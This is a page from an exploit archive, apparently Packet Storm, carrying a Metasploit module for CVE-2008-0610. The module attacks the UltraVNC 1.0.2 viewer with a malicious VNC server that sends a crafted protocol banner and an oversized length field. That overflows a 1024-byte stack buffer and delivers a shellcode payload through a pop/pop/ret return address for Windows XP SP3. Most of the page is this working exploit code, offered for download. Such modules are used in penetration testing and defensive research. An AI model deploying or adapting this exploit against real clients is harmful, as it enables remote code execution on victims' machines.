exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

UltraVNC 1.0.2 Client (vncviewer.exe) Buffer Overflow

UltraVNC 1.0.2 Client (vncviewer.exe) Buffer Overflow
Posted Mar 26, 2012
Authored by noperand | Site metasploit.com

This Metasploit module exploits a buffer overflow in UltraVNC Viewer 1.0.2 Release. If a malicious server responds to a client connection indicating a minor protocol version of 14 or 16, a 32-bit integer is subsequently read from the TCP stream by the client and directly provided as the trusted size for further reading from the TCP stream into a 1024-byte character array on the stack.

tags | exploit, overflow, tcp, protocol
advisories | CVE-2008-0610, OSVDB-42840
SHA-256 | b357e9030ba561108d1415577377c438445c6d1ccdf5a6b60eef2ab3f927b9c6

UltraVNC 1.0.2 Client (vncviewer.exe) Buffer Overflow

Change Mirror Download
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class Metasploit3 < Msf::Exploit::Remote
Rank = NormalRanking

include Msf::Exploit::Remote::TcpServer

def initialize(info = {})
super(update_info(info,
'Name' => 'UltraVNC 1.0.2 Client (vncviewer.exe) Buffer Overflow',
'Description' => %q{
This module exploits a buffer overflow in UltraVNC Viewer 1.0.2 Release.

If a malicious server responds to a client connection indicating a minor
protocol version of 14 or 16, a 32-bit integer is subsequently read from
the TCP stream by the client and directly provided as the trusted size for
further reading from the TCP stream into a 1024-byte character array on
the stack.
},
'Author' => 'noperand',
'License' => MSF_LICENSE,
'References' =>
[
[ 'CVE', '2008-0610' ],
[ 'OSVDB', '42840' ],
[ 'BID', '27561' ],
],
'DefaultOptions' =>
{
'EXITFUNC' => 'thread',
},
'Payload' =>
{
'Space' => 500,
},
'Platform' => 'win',
'Targets' =>
[
[ 'Windows XP SP3', { 'Ret' => 0x00421a61 } ], # vncviewer.exe, 1.0.2
],
'Privileged' => false,
'DisclosureDate' => 'Feb 6 2008',
'DefaultTarget' => 0))

register_options(
[
OptPort.new('SRVPORT', [ true, "The VNCServer daemon port to listen on", 5900 ])
], self.class)
end

def on_client_connect(client)
return if ((p = regenerate_payload(client)) == nil)

sploit = rand_text_alpha(1100) # junk, could be more efficient here
sploit << "\x00\x04\x00\x00" # value to get around a write
sploit << rand_text_alpha(12) # random junk
sploit << "\xEB\x06" << make_nops(2) # short relative jump
sploit << [target.ret].pack('V') # pop/pop/ret (default is in vncviewer.exe)
sploit << payload.encoded

=begin
We prepend the initial 12 bytes including the servers' desired protocol version ("RFB 003.016").
- These bytes are read directly by a call to ReadExact() with a size of 12.

...
if (m_minorVersion == 14 || m_minorVersion == 16)
{
int size;
ReadExact((char *)&size,sizeof(int));
char mytext[1024]; //10k
ReadExact(mytext,size);
mytext[size]=0;
...

If minor version is 16 or 14, a 32-bit integer follows indicating the size of our data to read.
We then append our data.
=end
sploit = "\x52\x46\x42\x20\x30\x30\x33\x2e\x30\x31\x36\x0a" << [sploit.length].pack('N') << sploit

print_status("Sending #{sploit.length} bytes to #{client.getpeername}:#{client.peerport}...")
client.put(sploit)
handler(client)
service.close_client(client)
end
end
Login or Register to add favorites

File Archive:

March 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Mar 1st
    16 Files
  • 2
    Mar 2nd
    0 Files
  • 3
    Mar 3rd
    0 Files
  • 4
    Mar 4th
    32 Files
  • 5
    Mar 5th
    28 Files
  • 6
    Mar 6th
    42 Files
  • 7
    Mar 7th
    17 Files
  • 8
    Mar 8th
    13 Files
  • 9
    Mar 9th
    0 Files
  • 10
    Mar 10th
    0 Files
  • 11
    Mar 11th
    15 Files
  • 12
    Mar 12th
    19 Files
  • 13
    Mar 13th
    21 Files
  • 14
    Mar 14th
    38 Files
  • 15
    Mar 15th
    15 Files
  • 16
    Mar 16th
    0 Files
  • 17
    Mar 17th
    0 Files
  • 18
    Mar 18th
    10 Files
  • 19
    Mar 19th
    32 Files
  • 20
    Mar 20th
    46 Files
  • 21
    Mar 21st
    16 Files
  • 22
    Mar 22nd
    13 Files
  • 23
    Mar 23rd
    0 Files
  • 24
    Mar 24th
    0 Files
  • 25
    Mar 25th
    12 Files
  • 26
    Mar 26th
    31 Files
  • 27
    Mar 27th
    19 Files
  • 28
    Mar 28th
    42 Files
  • 29
    Mar 29th
    0 Files
  • 30
    Mar 30th
    0 Files
  • 31
    Mar 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close